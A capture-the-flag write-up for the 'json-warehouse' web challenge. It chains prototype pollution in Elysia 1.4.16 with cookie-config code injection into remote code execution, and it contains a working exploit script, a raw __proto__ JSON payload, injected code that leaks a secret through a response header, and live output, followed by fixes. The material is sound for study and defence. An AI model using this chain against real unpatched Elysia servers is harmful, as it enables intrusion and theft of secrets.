json-warehouse
Category: Web
Author: sportshead
Platform: BergCTF / gaslightCTF infra
Deployed as: single compiled Bun binary on a distroless container
Flag: gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_c2f270115d5e}
Challenge description: "Don't worry, I told Claude to make no mistakes!"
The login page is literally branded "constructed by claude".
Table of contents
- TL;DR
- Challenge overview & attack surface
- Full handout source analysis
- Recon and the dead ends
- The vulnerability: Elysia 1.4.16 PP → codegen ACE
- Exploit construction (iterations that mattered)
- Final exploit run
- Local verification (replica)
- Fixes and mitigations
- References
TL;DR
The service is a JSON key/value "warehouse" built on Bun + Elysia 1.4.16. That exact Elysia version has two chained 1-day vulnerabilities (both fixed in 1.4.17):
| CVE | GHSA | Type |
|---|---|---|
| CVE-2025-66456 | GHSA-hxj9-33pp-j2cc | Prototype pollution in mergeDeep during schema-validation merging |
| CVE-2025-66457 | GHSA-8vch-m3f4-q8jf | Arbitrary code execution via cookie config injection into compiled route code |
The challenge author literally maintains a private PoC repo for these (elysia-poc), and
the challenge's storage routes match the vulnerable pattern exactly (a standalone
body: z.any() guard combined with a route-level body schema).
Attack chain, in three HTTP requests:
POST /auth/register— compile the register route, obtain a valid signedusercookie.PUT /storage/foowith a raw-JSON__proto__payload — prototype-pollutesObject.prototype.domainduring body-schema merging.GET /storage/flag— a cold (never-compiled) route. It now compiles with our poisoneddomainstring-interpolated into its generated cookie-parsing code, executingc.set.headers['X-Flag']=process.env.FLAGon every request to that route.
Response header: X-Flag: gaslightCTF{...}.
$ node exploit-live.mjs
register status: 200 set-cookie: user=1001.R9ySOIgneyT1XEk9QrFWOwcUxYJTVzlQGKk0xT8azD4; Path=/
PUT /storage/foo: 404 item not found
GET /storage/flag: 404 X-Flag: gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_c2f270115d5e}Challenge overview & attack surface
Deployment environment
- Runtime: Bun 1.3.14 (single compiled binary on distroless, non-root).
- Framework: Elysia
^1.4.16+@elysiajs/html, zod^4.1.13. - Templates:
@kitajs/html@4.2.13under experimental mode:This is the string-based HTML renderer, not the VDOM one (that choice matters for the XSS dead-end below)."jsx": "react", "jsxFactory": "Html.createElement" NODE_ENV=production, so the admin password israndomUUID()and error messages are masked.
The "flag"
src/data.ts seeds the server with one admin user (id 1000) and a warehouse item named
flag whose value is process.env.FLAG:
setItem(
createUser(
class="hljs-string">"admin",
process.env.NODE_ENV === class="hljs-string">"development" ? class="hljs-string">"hunter2" : randomUUID(),
),
class="hljs-string">"flag",
process.env.FLAG || class="hljs-string">"gaslightCTF{flag}",
);So we either need the admin password (impossible — random), forge their session cookie
(impossible — random secret), or read process.env.FLAG from inside the process. RCE is
the intended path, and the vulnerability is a 1-day in the pinned framework version.
Routes
All user data lives in warehouse: Map<number, Map<string, any>>, scoped by numeric user id.
| Method | Path | Purpose |
|---|---|---|
| GET | / |
homepage (redirects to login if no session) |
| GET/POST | /auth/login |
login |
| GET/POST | /auth/register |
register (id starts at 1000, admin is 1000) |
| POST | /auth/logout |
logout |
| GET | /storage/new, /storage/new-button |
create-item form (htmx OOB swap) |
| GET | /storage |
list items |
| POST | /storage |
create item |
| GET | /storage/:key |
view item |
| GET | /storage/:key/view, /storage/:key/edit |
htmx fragments |
| PUT | /storage/:key |
edit item — the pollution sink |
| DELETE | /storage/:key |
delete item |
Full handout source analysis
src/index.tsx
import { Elysia, redirect } from class="hljs-string">"elysia";
import * as z from class="hljs-string">"zod";
import { Html } from class="hljs-string">"@elysiajs/html";
import { auth } from class="hljs-string">"./routes/auth";
import { storage } from class="hljs-string">"./routes/storage";
import { userPlugin } from class="hljs-string">"./plugins/user";
const app = new Elysia({
cookie: {
secrets: process.env.COOKIE_SECRET || randomUUID(),
sign: [class="hljs-string">"user"],
},
})
.use(userPlugin)
.use(Html())
.get(class="hljs-string">"/", ({ user }) => (user ? <Home user={user} /> : redirect(class="hljs-string">"/auth/login")))
.use(auth)
.use(storage)
.listen(process.env.PORT || 1337);Two things stand out immediately:
- The cookie secret is not pinned to a known value in production
(
process.env.COOKIE_SECRET || randomUUID()). No hardcoded secret to leak. - The only "bodies" ever parsed by the app are JSON strings wrapped in
{ value: string }— the storage value itself is JSON that the user supplies, deserialized withJSON.parseand stored as a live JavaScript object (any).
src/plugins/user.ts
export const userPlugin = new Elysia({ name: class="hljs-string">"user" })
.guard({
cookie: z.object({
user: z.string().optional(),
}),
})
.resolve(({ cookie }) => ({
user:
cookie.user.value !== undefined ? getUser(+cookie.user.value) : undefined,
}))
.as(class="hljs-string">"scoped");Every route (auth + storage + /) carries a cookie schema. This is crucial: it means
every route qualifies as a hasCookie route, so every route will emit the vulnerable
parseCookie(..., { ... domain ... }) code when compiled.
src/data.ts
const warehouse = new Map<number, Map<string, any>>();
export function getUserByUsername(username: string) {
for (const [id, user] of users) {
if (user.username === username) return id;
}
}
export function getItem(id: number, key: string) {
return getItems(id)?.get(key);
}Notable: getUserByUsername returns undefined on no-match (fine), getUser(+id)
coerces via + (fine), and ids start at 1000 — the admin is 1000, our registrations
start at 1001. Warehouse items are stored by reference — an item's value object is the
very same object returned to the client when rendering (relevant for the XSS angle and for
exfiltration).
src/routes/storage.tsx — the sink
const parseJson = (raw: string) => {
try {
return { value: JSON.parse(raw) as unknown };
} catch {
return { error: class="hljs-string">"invalid json" };
}
};
const storage = new Elysia({ prefix: class="hljs-string">"/storage" })
.use(userPlugin)
.get(class="hljs-string">"/new", () => <CreateItemForm />)
.get(class="hljs-string">"/new-button", () => <CreateItemButton />)
.get(class="hljs-string">"/", ({ user }) => {
if (!user) return redirect(class="hljs-string">"/auth/login");
return <StoragePage user={user} items={getItems(user.id) ?? new Map()} />;
})
.post(class="hljs-string">"/", ({ user, body: { key, value }, set }) => { /* create item */ }, {
body: z.object({ key: z.string().min(1), value: z.string() }),
})
.guard({
schema: class="hljs-string">"standalone",
params: z.object({ key: z.string().min(1) }),
body: z.any(),
})
.get(class="hljs-string">"/:key", ({ user, params: { key }, set }) => {
if (!user) return redirect(class="hljs-string">"/auth/login");
const value = getItem(user.id, key);
if (value === undefined) { set.status = 404; return class="hljs-string">"item not found"; }
return <ItemPage user={user} itemKey={key} value={value} />;
})
.get(class="hljs-string">"/:key/view", ...)
.get(class="hljs-string">"/:key/edit", ...)
.put(class="hljs-string">"/:key", ({ user, params: { key }, body: { value }, set }) => {
if (!user) return redirect(class="hljs-string">"/auth/login");
const existing = getItem(user.id, key);
if (existing === undefined) { set.status = 404; return class="hljs-string">"item not found"; }
const parsed = parseJson(value);
if (class="hljs-string">"error" in parsed) return <ItemEditForm ... error={parsed.error} />;
setItem(user.id, key, parsed.value);
return <ItemView itemKey={key} value={parsed.value} />;
}, {
body: z.object({ value: z.string() }),
})
.delete(class="hljs-string">"/:key", ...);The red flag is the .guard({ schema: "standalone", ..., body: z.any() }) wrapping all of
the /storage/:key routes. The schema: "standalone" option makes this guard's schemas
bypass the "declaration merging" behaviour and get merged directly into each guarded route
at compile time — which is exactly the code path where the prototype pollution lives
(see below). Combined with per-route schemas like body: z.object({ value: z.string() }),
this is the exact shape the advisory's vulnerable example uses.
Note also the PUT handler: the "edit" route reads existing === undefined → 404 before
parsing the body — so our pollution request can legitimately 404 while still executing
validation-time merging. The 404 is irrelevant; the pollution happens during body-schema
validation, before the handler ever runs.
src/ui/Storage.tsx — the (intentional?) XSS smell
The item value is rendered in <pre> without escaping:
<pre id="item-json">
{JSON.stringify(value, null, 2)}
</pre>@kitajs/html is a string renderer: JSX children are concatenated as strings and are
not HTML-escaped by default (escaping only happens via the safe attribute or an
explicit escapeHtml() call). So any stored value containing </pre><script>… would be
rendered raw. This is a real stored-XSS primitive… but there is no admin bot (see
dead-ends), so it cannot be weaponized against the admin. It is however a strong hint
about the author's mindset: "Claude wrote it, and Claude doesn't escape."
Recon and the dead ends
A lot of time was spent ruling things out. Documenting them here so the next solver doesn't repeat it.
1. Session cookie: HMAC-SHA256, not forgeable
elysia/dist/utils.mjs:
export const signCookie = (value, secret) =>
(hmac.sign(secret, value), value + class="hljs-string">"." +
removeTrailingEquals(Buffer.from(hmacBuffer).toString(class="hljs-string">"base64")));
export const unsignCookie = (value, secret) => {
const [cookie, signature] = value.split(class="hljs-string">".");
...
return hash === signature ? cookie : false;
};- Cookie format:
user=<id>.<base64url-stripped HMAC-SHA256 signature>. - The signature is standard base64 (with
+and/, URL-encoded when set), NOT URL-safe base64url, and trailing=are stripped before appending. - Verification splits at the last
.and re-computes the HMAC — timing-safe because it compares full 32-byte digests, not character-by-character. - The secret is
randomUUID()(32 hex chars, 128 bits of entropy) in production.
Attempts:
- Guess secrets (
hunter2,"",admin,password,gaslightCTF{flag}): all fail, all400(tampered cookie) — no oracle, no reflection of the value. - Try login as admin with common passwords → no
Set-Cookiein response. - Timing side-channel on
unsignCookie(does the length of the prefix affect time? does a per-char===leak?): measured ~2–4 ns per comparison both for 1-char mismatch and full 36-char string with node's JIT; remote latencies (222–290 ms) were swamped by network jitter (wrong-username logins were just as slow). Dead end. - Elysia's cookie rotation path (
secretsarray → try each until one verifies) does not apply: only one secret exists.
2. No admin bot / no report endpoint
Probed the live instance for 404 on: /report, /flag, /admin, /bot, /visit,
/csp, /robots.txt, /.env, /health, /api, /debug, /source. All 404.
Cloned gaslightctf/infra, gaslightctf/frontend (Angular), gaslightctf/resources from
GitHub — no bot, no report queue. The platform does not provide a "submit link to admin"
mechanism. Stored-XSS via unescaped <pre> is a dead end without a bot.
3. Version archaeology — the author gave it away
- Handout pins
elysia@^1.4.16and the compiled binary runs Elysia 1.4.16. - 1.4.17 was released days later with two security fixes:
- GHSA-hxj9-33pp-j2cc (CVE-2025-66456): prototype pollution.
- GHSA-8vch-m3f4-q8jf (CVE-2025-66457): cookie-config → arbitrary code execution.
- The challenge author,
sportshead, is a gaslightCTF infra contributor and maintains a private GitHub repoelysia-pocwith exactly these PoCs (proto-pollution.ts,cookie-injection.ts,rce.ts). The repo is private (clone → "could not read Username"), but its README surfaced in search snippets:- Trigger condition: "the target route must not have been compiled yet".
- The two
__proto__keys needed:cookieanddomain. - Mitigation referenced:
precompile: true— which the challenge does not set.
Everything lines up: the challenge is a pure 1-day on Elysia 1.4.16.
The vulnerability: Elysia 1.4.16 PP → codegen ACE
Stage 1 — Prototype pollution (GHSA-hxj9-33pp-j2cc)
elysia/dist/utils.mjs:
const mergeDeep = (target, source, options) => {
const skipKeys = options?.skipKeys, override = options?.override ?? !0,
mergeArray = options?.mergeArray ?? !1;
if (!isObject(target) || !isObject(source)) return target;
for (const [key, value] of Object.entries(source))
if (!skipKeys?.includes(key)) {
...
if (!isObject(value) || !(key in target) || isClass(value)) {
if ((override || !(key in target)) && !Object.isFrozen(target))
try { target[key] = value; } catch {}
continue;
}
...
}
return target;
};The bug: mergeDeep copies own keys via Object.entries(source) and assigns them
with plain assignment target[key] = value. If source has an own property literally
named "__proto__", then target["__proto__"] = value invokes the __proto__ setter,
which sets the prototype of target. When target is the schema object that gets
merged into the route's compiled validators, the global Object.prototype is poisoned
for the lifetime of the process.
Two preconditions for reaching mergeDeep with attacker data:
- The route must be declared with a standalone schema that is unvalidated
(
z.any()) so the raw attacker object flows into the merge. - A route-level schema must also be present so Elysia performs the
mergeDeepbetween the standalone guard's schema and the route's schema when building the validator.
storage.tsx satisfies both: .guard({ schema: "standalone", body: z.any() }) +
.put("/:key", handler, { body: z.object({ value: z.string() }) }).
Critical subtlety about JSON: a JS object literal { __proto__: {...} } sets the
prototype, it does not create an own __proto__ key. So the payload must be sent as
a raw JSON string so that JSON.parse produces an object with an own property
"__proto__":
{"value":"pollute-me","__proto__":{"domain":"' + CODE + '"}}Only then does Object.entries(...) see "__proto__" as an own enumerable key and does
target["__proto__"] = value pollute Object.prototype.domain.
Stage 2 — Cookie config injection → ACE (GHSA-8vch-m3f4-q8jf)
elysia/dist/compose.mjs (route compilation, line ~246 and ~283):
cookieMeta = validator.cookie?.config
? mergeCookie(validator?.cookie?.config, app.config.cookie)
: app.config.cookie;if (fnLiteral += class="hljs-string">"try{", hasCookie) {
const get = (name, defaultValue) => {
const value = cookieMeta?.[name] ?? defaultValue;
return value
? typeof value == class="hljs-string">"string"
? class="hljs-string">`${name}:class="hljs-string">'${value}',` // <-- string-interpolated into source!
...
}, options = cookieMeta ? class="hljs-string">`{secrets:...,sign:...,` + get(class="hljs-string">"domain") + get(class="hljs-string">"expires")
+ get(class="hljs-string">"httpOnly") + get(class="hljs-string">"maxAge") + get(class="hljs-string">"path", class="hljs-string">"/") + get(class="hljs-string">"priority")
+ get(class="hljs-string">"sameSite") + get(class="hljs-string">"secure") + class="hljs-string">"}" : class="hljs-string">"undefined";
...
fnLiteral += class="hljs-string">`c.cookie=await parseCookie(c.set,c.request.headers.get(class="hljs-string">'cookie'),${options})`;
}Walk through the data flow:
app.config.cookieis{ secrets, sign: ["user"] }. Because of the pollution,Object.prototype.domainis now"' + CODE + '".cookieMetais resolved viamergeCookie(Object.assign({}, routeConfig), app.config.cookie).mergeDeepstarts fromObject.assign({}, config)(a fresh object whose prototype isObject.prototype) and copies{ secrets, sign }onto it. It never sets adomainown key, so readingcookieMeta?.["domain"]walks the prototype chain and finds our pollutedObject.prototype.domain.get("domain")stringifies that value into the generated source:
With a polluted valuedomain:'<value>',"' + CODE + '", the generated code becomes:c.cookie = await parseCookie(c.set, c.request.headers.get(class="hljs-string">'cookie'), { secrets: class="hljs-string">'...', sign: [class="hljs-string">'user',], domain: class="hljs-string">'' + CODE + class="hljs-string">'', // ← attacker-controlled JS evaluated per request expires: undefined, httpOnly: undefined, maxAge: undefined, path: class="hljs-string">'/', priority: undefined, sameSite: undefined, secure: undefined, })- This string is handed to
new Function(...)/eval-like compilation when the route is first requested (Elysia compiles lazily, so the currentObject.prototype.domain— our poison — is captured at compile time).
That is arbitrary code execution in the scope of the generated handler handle(c), with
the request context c in scope. Note: the injected expression runs on every request
to that route, inside the try{ block, before cookie validation.
Why a cold route is required
Route compilation is memoized per route. If the trigger route were requested before the
pollution request, it would already be compiled with a clean domain: undefined and our
poison would never be read. Hence the ordering constraint:
POST /auth/register— compiles the register route (clean) and gives us a session.PUT /storage/foo— compiles the PUT route before the body is validated, so the PUT route is also clean; but the validation-timemergeDeepruns after compilation and pollutesObject.prototype.GET /storage/flag— first-ever request to that route → compiles now with poisoned config → our code executes during the request.
(Also note the "cookie" key from the original PoC: it forces hasCookie true on routes
that don't have an explicit cookie schema, by making !!validator.cookie true via the
inherited Object.prototype.cookie = {}. In this challenge every route already has a real
cookie schema from userPlugin, so we only need the domain key. Setting cookie: {} too
is harmful here — it replaces the real cookie validator with {} and produces a
validator.cookie.Check is not a function 500, as we observed.)
Exploit construction (iterations that mattered)
Iteration 0 — verify the pollution in isolation
Send to PUT /storage/foo (standalone z.any() body) as a raw JSON string:
{"value":"pollute-me","__proto__":{"domain":"' + CODE + '"}}Confirmed afterwards in the same process: ({}).domain returns the injected string and
({}).cookie (when sent) returns {}. JSON.stringify of a JS object literal
{__proto__:...} drops the key entirely — the raw-string requirement is real.
Iteration 1 — naive CODE, syntax error
First attempt: CODE = "c.set.headers['X-Flag']=process.env.FLAG,'polluted'".
The generated parseCookie call became:
domain:class="hljs-string">'' + c.set.headers[class="hljs-string">'X-Flag']=process.env.FLAG,class="hljs-string">'polluted' + class="hljs-string">'',which parses as ('' + c.set.headers['X-Flag']) = (process.env.FLAG, 'polluted' + '')
— an assignment to an expression → SyntaxError. Elysia logs
[Composer] failed to generate optimized handler and falls back to its non-optimized
handler (which does not carry the injection). No code runs.
Lesson: the injected expression must be a valid standalone expression in the
'' + <expr> + '' context — wrap it in parentheses.
Iteration 2 — working codegen, wrong exfil (self-inflicted)
CODE = "(globalThis.__leak=process.env.FLAG,'polluted')" compiled and ran, but
globalThis.__leak was undefined after the request — because my local replica had no
FLAG environment variable. The RCE was working; the exfil was the problem.
Iteration 3 — header exfil, works
const CODE = class="hljs-string">"(c.set.headers[class="hljs-string">'X-Flag']=process.env.FLAG,class="hljs-string">'polluted')";
const domainVal = class="hljs-string">"class="hljs-string">' + " + CODE + class="hljs-string">" + '";
const rawBody = JSON.stringify({ value: class="hljs-string">"pollute-me" }).slice(0, -1)
+ class="hljs-string">',class="hljs-string">"__proto__":{class="hljs-string">"domain":' + JSON.stringify(domainVal) + class="hljs-string">"}}";c is in scope inside handle(c), so c.set.headers['X-Flag'] = process.env.FLAG runs at
request time and the header survives into the response (the route responds 404 item not found — headers still ship). Local replica returned
X-Flag: gaslightCTF{LOCAL_TEST_FLAG}. Confirmed end-to-end.
Other exfil ideas considered (all viable, header is simplest):
throw new Error(process.env.FLAG)→ error body (masked in production, so not used).- Write into the response body via
c.set.status+ returning a value — the generated prologue runs before the handler, andc.responseisn't assigned here, so header is the cleanest observable.
Why the author's PoC shape (with cookie:{}) didn't work verbatim
On a route without a cookie schema, validator.cookie is falsy until the polluted
Object.prototype.cookie = {} makes it truthy — then Elysia calls
validator.cookie.Check(...) on a bare {} → TypeError: validator.cookie.Check is not a function → 500. That's the author's trigger pattern, but it's for routes lacking cookie
schemas. Here every route already has one, so we drop the cookie key entirely and keep
only domain.
Final exploit run
// exploit-live.mjs
const BASE = class="hljs-string">"https://433a61f3-93f4-47d8-ac77-39e4388ba690.play.gaslightctf.cooking:1337";
const USER = class="hljs-string">"attacker" + Math.random().toString(36).slice(2, 8);
const PASS = class="hljs-string">"pw";
async function main() {
// 1. register -> valid signed cookie
let r = await fetch(BASE + class="hljs-string">"/auth/register", {
method: class="hljs-string">"POST",
headers: { class="hljs-string">"content-type": class="hljs-string">"application/x-www-form-urlencoded" },
body: class="hljs-string">`username=${USER}&password=${PASS}`,
redirect: class="hljs-string">"manual",
});
const setCookie = r.headers.get(class="hljs-string">"set-cookie");
const cookie = setCookie.split(class="hljs-string">";")[0];
// 2. prototype pollution (raw JSON!)
const CODE = class="hljs-string">"(c.set.headers[class="hljs-string">'X-Flag']=process.env.FLAG,class="hljs-string">'polluted')";
const domainVal = class="hljs-string">"class="hljs-string">' + " + CODE + class="hljs-string">" + '";
const rawBody = JSON.stringify({ value: class="hljs-string">"pollute-me" }).slice(0, -1)
+ class="hljs-string">',class="hljs-string">"__proto__":{class="hljs-string">"domain":' + JSON.stringify(domainVal) + class="hljs-string">"}}";
r = await fetch(BASE + class="hljs-string">"/storage/foo", {
method: class="hljs-string">"PUT",
headers: { class="hljs-string">"content-type": class="hljs-string">"application/json", class="hljs-string">"cookie": cookie },
body: rawBody,
redirect: class="hljs-string">"manual",
});
// 3. cold route -> compile with poison -> RCE -> X-Flag header
r = await fetch(BASE + class="hljs-string">"/storage/flag", {
headers: { class="hljs-string">"cookie": cookie },
redirect: class="hljs-string">"manual",
});
console.log(class="hljs-string">"X-Flag:", r.headers.get(class="hljs-string">"X-Flag"));
}Live output:
register status: 200 set-cookie: user=1001.R9ySOIgneyT1XEk9QrFWOwcUxYJTVzlQGKk0xT8azD4; Path=/
PUT /storage/foo: 404 item not found
GET /storage/flag: 404 X-Flag: gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_c2f270115d5e}(The 404 on both storage routes is expected — the item doesn't exist for our user and the handler 404s after the prologue; the injected code already ran.)
Local verification (replica)
A byte-for-byte reproduction of the challenge's routes was built and run under plain Node
(node 26, no Bun needed) with the real vulnerable elysia@1.4.16 + zod@4.1.13:
replica.mjs— mirrorsuserPlugin(cookie guard + resolve), auth routes (register/login), storage routes (standalone guard +:keyroutes) exactly.- Requests via
app.handle(new Request(...))(Elysia'sapp.handleis used by both Bun.serve and node's fetch-based runtime).
Key validation results from the replica:
- PP:
({"__proto__": {"domain": ...}})as raw JSON →({}).domainpolluted. - Codegen: dumping the generated
instructionstring shows the injecteddomain:'' + (...) + ''verbatim inside theparseCookieoptions. - Broken syntax →
[Composer] failed to generate optimized handler→ silent fallback (no RCE). Valid parenthesized expression → runs. - Header exfil →
X-Flagpresent withprocess.env.FLAG.
This also let us confirm @kitajs/html's non-escaping behavior (contentsToString
concatenates string children raw; escaping is opt-in via safe/escapeHtml) — interesting
for the XSS angle, but unused here.
Fixes and mitigations
- Upgrade Elysia to
>= 1.4.17— patches bothmergeDeepprototype pollution (treat__proto__/constructor/prototypeas dangerous keys) and the cookie-config codegen injection. precompile: true— compiles all routes at startup, so an attacker can no longer pollute after a route compiles; the injection window (cold-route compile) disappears. (This was the author's documented mitigation for the RCE.)- Avoid
schema: "standalone"guards withz.any()combined with route-level schemas; validate JSON values with an explicit schema instead ofz.any(). - Don't deploy secrets as
randomUUID()at startup without a dedicated secret manager — but that wasn't the vuln here; the flag was never meant to come fromdata.ts. - General hardening:
Object.freeze(Object.prototype)is not practical for Bun, but sanitizing__proto__keys inmergeDeepis the upstream fix.
References
- GHSA-hxj9-33pp-j2cc / CVE-2025-66456 — Elysia prototype pollution (
mergeDeep). - GHSA-8vch-m3f4-q8jf / CVE-2025-66457 — Elysia cookie-config code injection (ACE).
github.com/sportshead/elysia-poc(private) — author's PoCs:proto-pollution.ts,cookie-injection.ts,rce.ts; README documents the cold-route trigger andprecompile: truemitigation.- Elysia
dist/compose.mjs—cookieMetaresolution (L246),get(name, defaultValue)string interpolation (L284-287),parseCookie(..., options)emission (L283-298). - Elysia
dist/utils.mjs—mergeDeep(L10-39),mergeCookie(L40-45),signCookie/unsignCookie. @kitajs/html— string-based renderer, JSX children not escaped by default.